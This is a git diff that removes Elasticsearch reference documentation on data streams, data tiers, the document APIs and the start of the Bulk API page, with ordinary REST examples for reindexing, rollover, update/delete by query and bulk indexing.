-// TESTRESPONSE[s/"index_uuid": "Gpdiyq8sRuK9WuthvAdFbw"/"index_uuid": $body.data_streams.0.indices.0.index_uuid/]
-// TESTRESPONSE[s/"index_uuid": "_eEfRrFHS9OyhqWntkgHAQ"/"index_uuid": $body.data_streams.0.indices.1.index_uuid/]
-// TESTRESPONSE[s/"status": "GREEN"/"status": "YELLOW"/]
-
-<1> First item in the `indices` array for `my-data-stream`. This
-item contains information about the stream's oldest backing index,
-`.ds-my-data-stream-000001`.
-
-The following <<docs-reindex,reindex API>> request copies documents from
-`.ds-my-data-stream-000001` to `new-data-stream`. Note the request's `op_type`
-is `create`.
-
-[source,console]
-----
-POST /_reindex
-{
-  "source": {
-    "index": ".ds-my-data-stream-000001"
-  },
-  "dest": {
-    "index": "new-data-stream",
-    "op_type": "create"
-  }
-}
-----
---
-+
-You can also use a query to reindex only a subset of documents with each
-request.
-+
---
-The following <<docs-reindex,reindex API>> request copies documents from
-`my-data-stream` to `new-data-stream`. The request
-uses a <<query-dsl-range-query,`range` query>> to only reindex documents with a
-timestamp within the last week. Note the request's `op_type` is `create`.
-
-[source,console]
-----
-POST /_reindex
-{
-  "source": {
-    "index": "my-data-stream",
-    "query": {
-      "range": {
-        "@timestamp": {
-          "gte": "now-7d/d",
-          "lte": "now/d"
-        }
-      }
-    }
-  },
-  "dest": {
-    "index": "new-data-stream",
-    "op_type": "create"
-  }
-}
-----
---
-
-. If you previously changed your {ilm-init} poll interval, change it back to its
-original value when reindexing is complete. This prevents unnecessary load on
-the master node.
-+
---
-The following update cluster settings API request resets the
-`indices.lifecycle.poll_interval` setting to its default value, 10 minutes.
-
-[source,console]
-----
-PUT /_cluster/settings
-{
-  "transient": {
-    "indices.lifecycle.poll_interval": null
-  }
-}
-----
---
-
-. Resume indexing using the new data stream. Searches on this stream will now
-query your new data and the reindexed data.
-
-. Once you have verified that all reindexed data is available in the new
-data stream, you can safely remove the old stream.
-+
---
-The following <<indices-delete-data-stream,delete data stream API>> request
-deletes `my-data-stream`. This request also deletes the stream's
-backing indices and any data they contain.
-
-[source,console]
-----
-DELETE /_data_stream/my-data-stream
-----
---
diff --git a/docs/reference/data-streams/data-stream-apis.asciidoc b/docs/reference/data-streams/data-stream-apis.asciidoc
deleted file mode 100644
index 04a5a281c22..00000000000
--- a/docs/reference/data-streams/data-stream-apis.asciidoc
+++ /dev/null
@@ -1,20 +0,0 @@
-[role="xpack"]
-[[data-stream-apis]]
-== Data stream APIs
-
-The following APIs are available for managing <<data-streams,data streams>>:
-
-* <<indices-create-data-stream>>
-* <<indices-delete-data-stream>>
-* <<indices-get-data-stream>>
-* <<data-stream-stats-api>>
-
-For concepts and tutorials, see <<data-streams>>.
-
-include::{es-repo-dir}/indices/create-data-stream.asciidoc[]
-
-include::{es-repo-dir}/indices/delete-data-stream.asciidoc[]
-
-include::{es-repo-dir}/indices/get-data-stream.asciidoc[]
-
-include::{es-repo-dir}/indices/data-stream-stats.asciidoc[]
\ No newline at end of file
diff --git a/docs/reference/data-streams/data-streams.asciidoc b/docs/reference/data-streams/data-streams.asciidoc
deleted file mode 100644
index 96e7ab26f72..00000000000
--- a/docs/reference/data-streams/data-streams.asciidoc
+++ /dev/null
@@ -1,131 +0,0 @@
-[role="xpack"]
-[[data-streams]]
-= Data streams
-++++
-<titleabbrev>Data streams</titleabbrev>
-++++
-
-A data stream lets you store append-only time series
-data across multiple indices while giving you a single named resource for
-requests. Data streams are well-suited for logs, events, metrics, and other
-continuously generated data.
-
-You can submit indexing and search requests directly to a data stream. The
-stream automatically routes the request to backing indices that store the
-stream's data. You can use <<index-lifecycle-management,{ilm} ({ilm-init})>> to
-automate the management of these backing indices. For example, you can use
-{ilm-init} to automatically move older backing indices to less expensive
-hardware and delete unneeded indices. {ilm-init} can help you reduce costs and
-overhead as your data grows.
-
-[discrete]
-[[backing-indices]]
-== Backing indices
-
-A data stream consists of one or more <<index-hidden,hidden>>, auto-generated
-backing indices.
-
-image::images/data-streams/data-streams-diagram.svg[align="center"]
-
-Each data stream requires a matching <<index-templates,index template>>. The
-template contains the mappings and settings used to configure the stream's
-backing indices.
-
-Every document indexed to a data stream must contain a `@timestamp` field,
-mapped as a <<date,`date`>> or <<date_nanos,`date_nanos`>> field type. If the
-index template doesn't specify a mapping for the `@timestamp` field, {es} maps
-`@timestamp` as a `date` field  with default options.
-
-The same index template can be used for multiple data streams. You cannot
-delete an index template in use by a data stream.
-
-[discrete]
-[[data-stream-read-requests]]
-== Read requests
-
-When you submit a read request to a data stream, the stream routes the request
-to all its backing indices.
-
-image::images/data-streams/data-streams-search-request.svg[align="center"]
-
-[discrete]
-[[data-stream-write-index]]
-== Write index
-
-The most recently created backing index is the data stream’s write index.
-The stream adds new documents to this index only.
-
-image::images/data-streams/data-streams-index-request.svg[align="center"]
-
-You cannot add new documents to other backing indices, even by sending requests
-directly to the index.
-
-You also cannot perform operations on a write index that may hinder indexing,
-such as:
-
-* <<indices-clone-index,Clone>>
-* <<indices-close,Close>>
-* <<indices-delete-index,Delete>>
-* <<freeze-index-api,Freeze>>
-* <<indices-shrink-index,Shrink>>
-* <<indices-split-index,Split>>
-
-[discrete]
-[[data-streams-rollover]]
-== Rollover
-
-When you create a data stream, {es} automatically creates a backing index for
-the stream. This index also acts as the stream's first write index. A
-<<indices-rollover-index,rollover>> creates a new backing index that becomes the
-stream's new write index.
-
-We recommend using <<index-lifecycle-management,{ilm-init}>> to automatically
-roll over data streams when the write index reaches a specified age or size.
-If needed, you can also <<manually-roll-over-a-data-stream,manually roll over>>
-a data stream.
-
-
-[discrete]
-[[data-streams-generation]]
-== Generation
-
-Each data stream tracks its generation: a six-digit, zero-padded integer that
-acts as a cumulative count of the stream's rollovers, starting at `000001`.
-
-When a backing index is created, the index is named using the following
-convention:
-
-[source,text]
-----
-.ds-<data-stream>-<generation>
-----
-
-Backing indices with a higher generation contain more recent data. For example,
-the `web-server-logs` data stream has a generation of `34`. The stream's most
-recent backing index is named `.ds-web-server-logs-000034`.
-
-Some operations, such as a <<indices-shrink-index,shrink>> or
-<<snapshots-restore-snapshot,restore>>, can change a backing index's name.
-These name changes do not remove a backing index from its data stream.
-
-[discrete]
-[[data-streams-append-only]]
-== Append-only
-
-Data streams are designed for use cases where existing data is rarely,
-if ever, updated. You cannot send update or deletion requests for existing
-documents directly to a data stream. Instead, use the
-<<update-docs-in-a-data-stream-by-query,update by query>> and
-<<delete-docs-in-a-data-stream-by-query,delete by query>> APIs.
-
-If needed, you can <<update-delete-docs-in-a-backing-index,update or delete
-documents>> by submitting requests directly to the document's backing index.
-
-TIP: If you frequently update or delete existing documents, use an
-<<indices-add-alias,index alias>> and <<index-templates,index template>>
-instead of a data stream. You can still use
-<<index-lifecycle-management,{ilm-init}>> to manage indices for the alias.
-
-include::set-up-a-data-stream.asciidoc[]
-include::use-a-data-stream.asciidoc[]
-include::change-mappings-and-settings.asciidoc[]
diff --git a/docs/reference/data-streams/set-up-a-data-stream.asciidoc b/docs/reference/data-streams/set-up-a-data-stream.asciidoc
deleted file mode 100644
index 09b8f9c0f02..00000000000
--- a/docs/reference/data-streams/set-up-a-data-stream.asciidoc
+++ /dev/null
@@ -1,227 +0,0 @@
-[role="xpack"]
-[[set-up-a-data-stream]]
-== Set up a data stream
-
-To set up a data stream, follow these steps:
-
-. <<configure-a-data-stream-ilm-policy>>.
-. <<create-a-data-stream-template>>.
-. <<create-a-data-stream>>.
-. <<secure-a-data-stream>>.
-
-[discrete]
-[[configure-a-data-stream-ilm-policy]]
-=== Optional: Configure an {ilm-init} lifecycle policy
-
-While optional, we recommend you configure an <<set-up-lifecycle-policy,{ilm}
-({ilm-init}) policy>> to automate the management of your data stream's backing
-indices.
-
-In {kib}, open the menu and go to *Stack Management > Index Lifecycle Policies*.
-Click *Index Lifecycle Policies*.
-
-[role="screenshot"]
-image::images/ilm/create-policy.png[Index Lifecycle Policies page]
-
-[%collapsible]
-.API example
-====
-Use the <<ilm-put-lifecycle,create lifecycle policy API>> to configure a policy:
-
-[source,console]
-----
-PUT /_ilm/policy/my-data-stream-policy
-{
-  "policy": {
-    "phases": {
-      "hot": {
-        "actions": {
-          "rollover": {
-            "max_size": "25GB"
-          }
-        }
-      },
-      "delete": {
-        "min_age": "30d",
-        "actions": {
-          "delete": {}
-        }
-      }
-    }
-  }
-}
-----
-====
-
-[discrete]
-[[create-a-data-stream-template]]
-=== Create an index template
-
-. In {kib}, open the menu and go to *Stack Management > Index Management*.
-. In the *Index Templates* tab, click *Create template*.
-. In the Create template wizard, use the *Data stream* toggle to indicate the
-template is used for data streams.
-. Use the wizard to finish defining your template. Specify:
-
-* One or more index patterns that match the data stream's name.
-
-* Mappings and settings for the stream's backing indices.
-
-* A priority for the index template
-+
-[IMPORTANT]
-====
-{es} has built-in index templates for the `metrics-*-*`, `logs-*-*`, and
-`synthetics-*-*` index patterns, each with a priority of `100`.
-{ingest-guide}/fleet-overview.html[{agent}] uses these templates to
-create data streams.
-
-If you use {agent}, assign your index templates a priority lower than `100` to
-avoid overriding the built-in templates. Otherwise, use a non-overlapping index
-pattern or assign templates with an overlapping pattern a `priority` higher than
-`100`.
-
-For example, if you don't use {agent} and want to create a template for the
-`logs-*` index pattern, assign your template a priority of `200`. This ensures
-your template is applied instead of the built-in template for `logs-*-*`.
-====
-
-If the index template doesn't specify a mapping for the `@timestamp` field, {es}
-maps `@timestamp` as a `date` field  with default options.
-
-If using {ilm-init}, specify your lifecycle policy in the `index.lifecycle.name`
-setting.
-
-TIP: Carefully consider your template's mappings and settings. Later changes may
-require reindexing. See <<data-streams-change-mappings-and-settings>>.
-
-[role="screenshot"]
-image::images/data-streams/create-index-template.png[Create template page]
-
-[%collapsible]
-.API example
-====
-Use the <<indices-put-template,put index template API>> to create an index
-template. The template must include an empty `data_stream` object, indicating
-it's used for data streams.
-
-[source,console]
-----
-PUT /_index_template/my-data-stream-template
-{
-  "index_patterns": [ "my-data-stream*" ],
-  "data_stream": { },
-  "priority": 200,
-  "template": {
-    "settings": {
-      "index.lifecycle.name": "my-data-stream-policy"
-    }
-  }
-}
-----
-// TEST[continued]
-====
-
-[discrete]
-[[create-a-data-stream]]
-=== Create the data stream
-
-To automatically create the data stream, submit an
-<<add-documents-to-a-data-stream,indexing request>> to the stream. The stream's
-name must match one of your template's index patterns.
-
-[source,console]
-----
-POST /my-data-stream/_doc/
-{
-  "@timestamp": "2020-12-06T11:04:05.000Z",
-  "user": {
-    "id": "vlb44hny"
-  },
-  "message": "Login attempt failed"
-}
-----
-// TEST[continued]
-
-You can also use the <<indices-create-data-stream,create data stream API>> to
-manually create the data stream. The stream's name must match one of your
-template's index patterns.
-
-[source,console]
-----
-PUT /_data_stream/my-data-stream
-----
-// TEST[continued]
-// TEST[s/my-data-stream/my-data-stream-alt/]
-
-[discrete]
-[[secure-a-data-stream]]
-=== Secure the data stream
-
-To control access to the data stream and its
-data, use <<data-stream-privileges,{es}'s {security-features}>>.
-
-[discrete]
-[[get-info-about-a-data-stream]]
-=== Get information about a data stream
-
-In {kib}, open the menu and go to *Stack Management > Index Management*. In the
-*Data Streams* tab, click the data stream's name.
-
-[role="screenshot"]
-image::images/data-streams/data-streams-list.png[Data Streams tab]
-
-[%collapsible]
-.API example
-====
-Use the <<indices-get-data-stream,get data stream API>> to retrieve information
-about one or more data streams:
-
-////
-[source,console]
-----
-POST /my-data-stream/_rollover/
-----
-// TEST[continued]
-////
-
-[source,console]
-----
-GET /_data_stream/my-data-stream
-----
-// TEST[continued]
-====
-
-[discrete]
-[[delete-a-data-stream]]
-=== Delete a data stream
-
-To delete a data stream and its backing indices, open the {kib} menu and go to
-*Stack Management > Index Management*. In the *Data Streams* tab, click the
-trash can icon.
-
-[role="screenshot"]
-image::images/data-streams/data-streams-list.png[Data Streams tab]
-
-[%collapsible]
-.API example
-====
-Use the <<indices-delete-data-stream,delete data stream API>> to delete a data
-stream and its backing indices:
-
-[source,console]
-----
-DELETE /_data_stream/my-data-stream
-----
-// TEST[continued]
-====
-
-////
-[source,console]
-----
-DELETE /_data_stream/*
-DELETE /_index_template/*
-DELETE /_ilm/policy/my-data-stream-policy
-----
-// TEST[continued]
-////
diff --git a/docs/reference/data-streams/use-a-data-stream.asciidoc b/docs/reference/data-streams/use-a-data-stream.asciidoc
deleted file mode 100644
index 544cc32d31f..00000000000
--- a/docs/reference/data-streams/use-a-data-stream.asciidoc
+++ /dev/null
@@ -1,351 +0,0 @@
-[role="xpack"]
-[[use-a-data-stream]]
-== Use a data stream
-
-After you <<set-up-a-data-stream,set up a data stream>>, you can do
-the following:
-
-* <<add-documents-to-a-data-stream>>
-* <<search-a-data-stream>>
-* <<get-stats-for-a-data-stream>>
-* <<manually-roll-over-a-data-stream>>
-* <<open-closed-backing-indices>>
-* <<reindex-with-a-data-stream>>
-* <<update-docs-in-a-data-stream-by-query>>
-* <<delete-docs-in-a-data-stream-by-query>>
-* <<update-delete-docs-in-a-backing-index>>
-
-////
-[source,console]
-----
-PUT /_index_template/my-data-stream-template
-{
-  "index_patterns": [ "my-data-stream*" ],
-  "data_stream": { }
-}
-
-PUT /_data_stream/my-data-stream
-
-POST /my-data-stream/_rollover/
-
-POST /my-data-stream/_rollover/
-
-PUT /my-data-stream/_create/bfspvnIBr7VVZlfp2lqX?refresh=wait_for
-{
-  "@timestamp": "2020-12-07T11:06:07.000Z",
-  "user": {
-    "id": "yWIumJd7"
-  },
-  "message": "Login successful"
-}
-----
-// TESTSETUP
-
-[source,console]
-----
-DELETE /_data_stream/*
-
-DELETE /_index_template/*
-----
-// TEARDOWN
-////
-
-[discrete]
-[[add-documents-to-a-data-stream]]
-=== Add documents to a data stream
-
-To add an individual document, use the <<docs-index_,index API>>.
-<<ingest,Ingest pipelines>> are supported.
-
-[source,console]
-----
-POST /my-data-stream/_doc/
-{
-  "@timestamp": "2020-12-07T11:06:07.000Z",
-  "user": {
-    "id": "8a4f500d"
-  },
-  "message": "Login successful"
-}
-----
-
-You cannot add new documents to a data stream using the index API's `PUT
-/<target>/_doc/<_id>` request format. To specify a document ID, use the `PUT
-/<target>/_create/<_id>` format instead. Only an
-<<docs-index-api-op_type,`op_type`>> of `create` is supported.
-
-To add multiple documents with a single request, use the <<docs-bulk,bulk API>>.
-Only `create` actions are supported.
-
-[source,console]
-----
-PUT /my-data-stream/_bulk?refresh
-{"create":{ }}
-{ "@timestamp": "2020-12-08T11:04:05.000Z", "user": { "id": "vlb44hny" }, "message": "Login attempt failed" }
-{"create":{ }}
-{ "@timestamp": "2020-12-08T11:06:07.000Z", "user": { "id": "8a4f500d" }, "message": "Login successful" }
-{"create":{ }}
-{ "@timestamp": "2020-12-09T11:07:08.000Z", "user": { "id": "l7gk7f82" }, "message": "Logout successful" }
-----
-
-[discrete]
-[[search-a-data-stream]]
-=== Search a data stream
-
-The following search APIs support data streams:
-
-* <<search-search, Search>>
-* <<async-search, Async search>>
-* <<search-multi-search, Multi search>>
-* <<search-field-caps, Field capabilities>>
-* <<eql-search-api, EQL search>>
-
-[discrete]
-[[get-stats-for-a-data-stream]]
-=== Get statistics for a data stream
-
-Use the <<data-stream-stats-api,data stream stats API>> to get
-statistics for one or more data streams:
-
-[source,console]
-----
-GET /_data_stream/my-data-stream/_stats?human=true
-----
-
-[discrete]
-[[manually-roll-over-a-data-stream]]
-=== Manually roll over a data stream
-
-Use the <<indices-rollover-index,rollover API>> to manually
-<<data-streams-rollover,roll over>> a data stream:
-
-[source,console]
-----
-POST /my-data-stream/_rollover/
-----
-
-[discrete]
-[[open-closed-backing-indices]]
-=== Open closed backing indices
-
-You cannot search a <<indices-close,closed>> backing index, even by searching
-its data stream. You also cannot <<update-docs-in-a-data-stream-by-query,update>>
-or <<delete-docs-in-a-data-stream-by-query,delete>> documents in a closed index.
-
-To re-open a closed backing index, submit an <<indices-open-close,open
-index API request>> directly to the index:
-
-[source,console]
-----
-POST /.ds-my-data-stream-000001/_open/
-----
-
-To re-open all closed backing indices for a data stream, submit an open index
-API request to the stream:
-
-[source,console]
-----
-POST /my-data-stream/_open/
-----
-
-[discrete]
-[[reindex-with-a-data-stream]]
-=== Reindex with a data stream
-
-Use the <<docs-reindex,reindex API>> to copy documents from an
-existing index, index alias, or data stream to a data stream. Because data streams are
-<<data-streams-append-only,append-only>>, a reindex into a data stream must use
-an `op_type` of `create`. A reindex cannot update existing documents in a data
-stream.
-
-////
-[source,console]
-----
-PUT /_bulk?refresh=wait_for
-{"create":{"_index" : "archive_1"}}
-{ "@timestamp": "2020-12-08T11:04:05.000Z" }
-{"create":{"_index" : "archive_2"}}
-{ "@timestamp": "2020-12-08T11:06:07.000Z" }
-{"create":{"_index" : "archive_2"}}
-{ "@timestamp": "2020-12-09T11:07:08.000Z" }
-{"create":{"_index" : "archive_2"}}
-{ "@timestamp": "2020-12-09T11:07:08.000Z" }
-
-POST /_aliases
-{
-  "actions" : [
-    { "add" : { "index" : "archive_1", "alias" : "archive" } },
-    { "add" : { "index" : "archive_2", "alias" : "archive", "is_write_index" : true} }
-  ]
-}
-----
-////
-
-[source,console]
-----
-POST /_reindex
-{
-  "source": {
-    "index": "archive"
-  },
-  "dest": {
-    "index": "my-data-stream",
-    "op_type": "create"
-  }
-}
-----
-// TEST[continued]
-
-[discrete]
-[[update-docs-in-a-data-stream-by-query]]
-=== Update documents in a data stream by query
-
-Use the <<docs-update-by-query,update by query API>> to update documents in a
-data stream that match a provided query:
-
-[source,console]
-----
-POST /my-data-stream/_update_by_query
-{
-  "query": {
-    "match": {
-      "user.id": "l7gk7f82"
-    }
-  },
-  "script": {
-    "source": "ctx._source.user.id = params.new_id",
-    "params": {
-      "new_id": "XgdX0NoX"
-    }
-  }
-}
-----
-
-[discrete]
-[[delete-docs-in-a-data-stream-by-query]]
-=== Delete documents in a data stream by query
-
-Use the <<docs-delete-by-query,delete by query API>> to delete documents in a
-data stream that match a provided query:
-
-[source,console]
-----
-POST /my-data-stream/_delete_by_query
-{
-  "query": {
-    "match": {
-      "user.id": "vlb44hny"
-    }
-  }
-}
-----
-
-[discrete]
-[[update-delete-docs-in-a-backing-index]]
-=== Update or delete documents in a backing index
-
-If needed, you can update or delete documents in a data stream by sending
-requests to the backing index containing the document. You'll need:
-
-* The <<mapping-id-field,document ID>>
-* The name of the backing index containing the document
-* If updating the document, its <<optimistic-concurrency-control,sequence number
-and primary term>>
-
-To get this information, use a <<search-a-data-stream,search request>>:
-
-[source,console]
-----
-GET /my-data-stream/_search
-{
-  "seq_no_primary_term": true,
-  "query": {
-    "match": {
-      "user.id": "yWIumJd7"
-    }
-  }
-}
-----
-
-Response:
-
-[source,console-result]
-----
-{
-  "took": 20,
-  "timed_out": false,
-  "_shards": {
-    "total": 3,
-    "successful": 3,
-    "skipped": 0,
-    "failed": 0
-  },
-  "hits": {
-    "total": {
-      "value": 1,
-      "relation": "eq"
-    },
-    "max_score": 0.2876821,
-    "hits": [
-      {
-        "_index": ".ds-my-data-stream-000003",      <1>
-        "_type": "_doc",
-        "_id": "bfspvnIBr7VVZlfp2lqX",              <2>
-        "_seq_no": 0,                               <3>
-        "_primary_term": 1,                         <4>
-        "_score": 0.2876821,
-        "_source": {
-          "@timestamp": "2020-12-07T11:06:07.000Z",
-          "user": {
-            "id": "yWIumJd7"
-          },
-          "message": "Login successful"
-        }
-      }
-    ]
-  }
-}
-----
-// TESTRESPONSE[s/"took": 20/"took": $body.took/]
-// TESTRESPONSE[s/"max_score": 0.2876821/"max_score": $body.hits.max_score/]
-// TESTRESPONSE[s/"_score": 0.2876821/"_score": $body.hits.hits.0._score/]
-
-<1> Backing index containing the matching document
-<2> Document ID for the document
-<3> Current sequence number for the document
-<4> Primary term for the document
-
-To update the document, use an <<docs-index_,index API>> request with valid
-`if_seq_no` and `if_primary_term` arguments:
-
-[source,console]
-----
-PUT /.ds-my-data-stream-000003/_doc/bfspvnIBr7VVZlfp2lqX?if_seq_no=0&if_primary_term=1
-{
-  "@timestamp": "2020-12-07T11:06:07.000Z",
-  "user": {
-    "id": "8a4f500d"
-  },
-  "message": "Login successful"
-}
-----
-
-To delete the document, use the <<docs-delete,delete API>>:
-
-[source,console]
-----
-DELETE /.ds-my-data-stream-000003/_doc/bfspvnIBr7VVZlfp2lqX
-----
-
-To delete or update multiple documents with a single request, use the
-<<docs-bulk,bulk API>>'s `delete`, `index`, and `update` actions. For `index`
-actions, include valid <<bulk-optimistic-concurrency-control,`if_seq_no` and
-`if_primary_term`>> arguments.
-
-[source,console]
-----
-PUT /_bulk?refresh
-{ "index": { "_index": ".ds-my-data-stream-000003", "_id": "bfspvnIBr7VVZlfp2lqX", "if_seq_no": 0, "if_primary_term": 1 } }
-{ "@timestamp": "2020-12-07T11:06:07.000Z", "user": { "id": "8a4f500d" }, "message": "Login successful" }
-----
-
diff --git a/docs/reference/datatiers.asciidoc b/docs/reference/datatiers.asciidoc
deleted file mode 100644
index 26c389dd6a0..00000000000
--- a/docs/reference/datatiers.asciidoc
+++ /dev/null
@@ -1,112 +0,0 @@
-[role="xpack"]
-[[data-tiers]]
-== Data tiers
-
-A _data tier_ is a collection of nodes with the same data role that
-typically share the same hardware profile:
-
-* <<content-tier, Content tier>> nodes handle the indexing and query load for content such as a product catalog.
-* <<hot-tier, Hot tier>> nodes handle the indexing load for time series data such as logs or metrics
-and hold your most recent, most-frequently-accessed data.
-* <<warm-tier, Warm tier>> nodes hold time series data that is accessed less-frequently
-and rarely needs to be updated.
-* <<cold-tier, Cold tier>> nodes hold time series data that is accessed occasionally and not normally updated.
-
-When you index documents directly to a specific index, they remain on content tier nodes indefinitely.
-
-When you index documents to a data stream, they initially reside on hot tier nodes.
-You can configure <<index-lifecycle-management, {ilm}>> ({ilm-init}) policies
-to automatically transition your time series data through the hot, warm, and cold tiers
-according to your performance, resiliency and data retention requirements.
-
-A node's <<data-node, data role>> is configured in `elasticsearch.yml`.
-For example, the highest-performance nodes in a cluster might be assigned to both the hot and content tiers:
-
-[source,yaml]
---------------------------------------------------
-node.roles: ["data_hot", "data_content"]
---------------------------------------------------
-
-[discrete]
-[[content-tier]]
-=== Content tier
-
-Data stored in the content tier is generally a collection of items such as a product catalog or article archive.
-Unlike time series data, the value of the content remains relatively constant over time,
-so it doesn't make sense to move it to a tier with different performance characteristics as it ages.
-Content data typically has long data retention requirements, and you want to be able to retrieve
-items quickly regardless of how old they are.
-
-Content tier nodes are usually optimized for query performance--they prioritize processing power over IO throughput
-so they can process complex searches and aggregations and return results quickly.
-While they are also responsible for indexing, content data is generally not ingested at as high a rate
-as time series data such as logs and metrics. From a resiliency perspective the indices in this
-tier should be configured to use one or more replicas.
-
-New indices are automatically allocated to the <<content-tier>> unless they are part of a data stream.
-
-[discrete]
-[[hot-tier]]
-=== Hot tier
-
-The hot tier is the {es} entry point for time series data and holds your most-recent,
-most-frequently-searched time series data.
-Nodes in the hot tier need to be fast for both reads and writes,
-which requires more hardware resources and faster storage (SSDs).
-For resiliency, indices in the hot tier should be configured to use one or more replicas.
-
-New indices that are part of a <<data-streams, data stream>> are automatically allocated to the
-hot tier.
-
-[discrete]
-[[warm-tier]]
-=== Warm tier
-
-Time series data can move to the warm tier once it is being queried less frequently
-than the recently-indexed data in the hot tier.
-The warm tier typically holds data from recent weeks.
-Updates are still allowed, but likely infrequent.
-Nodes in the warm tier generally don't need to be as fast as those in the hot tier.
-For resiliency, indices in the warm tier should be configured to use one or more replicas.
-
-[discrete]
-[[cold-tier]]
-=== Cold tier
-
-Once data is no longer being updated, it can move from the warm tier to the cold tier where it
-stays for the rest of its life.
-The cold tier is still a responsive query tier, but data in the cold tier is not normally updated.
-As data transitions into the cold tier it can be compressed and shrunken.
-For resiliency, indices in the cold tier can rely on
-<<ilm-searchable-snapshot, searchable snapshots>>, eliminating the need for replicas.
-
-[discrete]
-[[data-tier-allocation]]
-=== Data tier index allocation
-
-When you create an index, by default {es} sets
-<<tier-preference-allocation-filter, `index.routing.allocation.include._tier_preference`>>
-to `data_content` to automatically allocate the index shards to the content tier.
-
-When {es} creates an index as part of a <<data-streams, data stream>>,
-by default {es} sets
-<<tier-preference-allocation-filter, `index.routing.allocation.include._tier_preference`>>
-to `data_hot` to automatically allocate the index shards to the hot tier.
-
-You can override the automatic tier-based allocation by specifying
-<<shard-allocation-filtering, shard allocation filtering>>
-settings in the create index request or index template that matches the new index.
-
-You can also explicitly set `index.routing.allocation.include._tier_preference`
-to opt out of the default tier-based allocation.
-If you set the tier preference to `null`, {es} ignores the data tier roles during allocation.
-
-[discrete]
-[[data-tier-migration]]
-=== Automatic data tier migration
-
-{ilm-init} automatically transitions managed
-indices through the available data tiers using the <<ilm-migrate, migrate>> action.
-By default, this action is automatically injected in every phase.
-You can explicitly specify the migrate action to override the default behavior,
-or use the <<ilm-allocate, allocate action>> to manually specify allocation rules.
diff --git a/docs/reference/docs.asciidoc b/docs/reference/docs.asciidoc
deleted file mode 100644
index a860bfc42a0..00000000000
--- a/docs/reference/docs.asciidoc
+++ /dev/null
@@ -1,49 +0,0 @@
-[[docs]]
-== Document APIs
-
-This section starts with a short introduction to Elasticsearch's <<docs-replication,data replication model>>, followed by a
-detailed description of the following CRUD APIs:
-
-.Single document APIs
-* <<docs-index_>>
-* <<docs-get>>
-* <<docs-delete>>
-* <<docs-update>>
-
-.Multi-document APIs
-* <<docs-multi-get>>
-* <<docs-bulk>>
-* <<docs-delete-by-query>>
-* <<docs-update-by-query>>
-* <<docs-reindex>>
-
-NOTE: All CRUD APIs are single-index APIs. The `index` parameter accepts a single
-index name, or an `alias` which points to a single index.
-
-include::docs/data-replication.asciidoc[]
-
-include::docs/index_.asciidoc[]
-
-include::docs/get.asciidoc[]
-
-include::docs/delete.asciidoc[]
-
-include::docs/delete-by-query.asciidoc[]
-
-include::docs/update.asciidoc[]
-
-include::docs/update-by-query.asciidoc[]
-
-include::docs/multi-get.asciidoc[]
-
-include::docs/bulk.asciidoc[]
-
-include::docs/reindex.asciidoc[]
-
-include::docs/termvectors.asciidoc[]
-
-include::docs/multi-termvectors.asciidoc[]
-
-include::docs/refresh.asciidoc[]
-
-include::docs/concurrency-control.asciidoc[]
diff --git a/docs/reference/docs/bulk.asciidoc b/docs/reference/docs/bulk.asciidoc
deleted file mode 100644
index 4c812bbc669..00000000000
--- a/docs/reference/docs/bulk.asciidoc
+++ /dev/null
@@ -1,752 +0,0 @@
-[[docs-bulk]]
-=== Bulk API
-++++
-<titleabbrev>Bulk</titleabbrev>
-++++
-
-Performs multiple indexing or delete operations in a single API call. 
-This reduces overhead and can greatly increase indexing speed.
-
-[source,console]
---------------------------------------------------
-POST _bulk
-{ "index" : { "_index" : "test", "_id" : "1" } }
-{ "field1" : "value1" }
-{ "delete" : { "_index" : "test", "_id" : "2" } }
-{ "create" : { "_index" : "test", "_id" : "3" } }
-{ "field1" : "value3" }
-{ "update" : {"_id" : "1", "_index" : "test"} }
-{ "doc" : {"field2" : "value2"} }
---------------------------------------------------
-
-[[docs-bulk-api-request]]
-==== {api-request-title}
-
-`POST /_bulk`
-
-`POST /<target>/_bulk`
-
-[[docs-bulk-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the following
-<<privileges-list-indices,index privileges>> for the target data stream, index,
-or index alias:
-
-** To use the `create` action, you must have the `create_doc`, `create`,
-`index`, or `write` index privilege. Data streams support only the `create`
-action.
-
-** To use the `index` action, you must have the `create`, `index`, or `write`
-index privilege.
-
-** To use the `delete` action, you must have the `delete` or `write` index
-privilege.
-
-** To use the `update` action, you must have the `index` or `write` index
-privilege.
-
-** To automatically create a data stream or index with a bulk API request, you
-must have the `auto_configure`, `create_index`, or `manage` index privilege.
-
-* Automatic data stream creation requires a matching index template with data
-stream enabled. See <<set-up-a-data-stream>>.
-
-[[docs-bulk-api-desc]]
-==== {api-description-title}
-
-Provides a way to perform multiple `index`, `create`, `delete`, and `update` actions in a single request.
-
-The actions are specified in the request body using a newline delimited JSON (NDJSON) structure:
-
-[source,js]
---------------------------------------------------
-action_and_meta_data\n
-optional_source\n
-action_and_meta_data\n
-optional_source\n
-....
-action_and_meta_data\n
-optional_source\n
---------------------------------------------------
-// NOTCONSOLE
-
-The `index` and `create` actions expect a source on the next line, 
-and have the same semantics as the `op_type` parameter in the standard index API: 
-`create` fails if a document with the same ID already exists in the target,
-`index` adds or replaces a document as necessary. 
-
-NOTE: <<data-streams,Data streams>> support only the `create` action. To update
-or delete a document in a data stream, you must target the backing index
-containing the document. See <<update-delete-docs-in-a-backing-index>>.
-
-`update` expects that the partial doc, upsert, 
-and script and its options are specified on the next line.
-
-`delete` does not expect a source on the next line and 
-has the same semantics as the standard delete API.
-
-[NOTE]
-====
-The final line of data must end with a newline character `\n`. 
-Each newline character may be preceded by a carriage return `\r`. 
-When sending requests to the `_bulk` endpoint,
-the `Content-Type` header should be set to `application/x-ndjson`.
-====
-
-Because this format uses literal `\n`'s as delimiters, 
-make sure that the JSON actions and sources are not pretty printed.
-
-If you provide a `<target>` in the request path, 
-it is used for any actions that don't explicitly specify an `_index` argument.
-
-A note on the format: The idea here is to make processing of this as
-fast as possible. As some of the actions are redirected to other
-shards on other nodes, only `action_meta_data` is parsed on the
-receiving node side.
-
-Client libraries using this protocol should try and strive to do
-something similar on the client side, and reduce buffering as much as
-possible.
-
-There is no "correct" number of actions to perform in a single bulk request. 
-Experiment with different settings to find the optimal size for your particular workload.
-
-When using the HTTP API, make sure that the client does not send HTTP chunks, 
-as this will slow things down.
-
-[discrete]
-[[bulk-clients]]
-===== Client support for bulk requests
-
-Some of the officially supported clients provide helpers to assist with
-bulk requests and reindexing:
-
-Go::
-
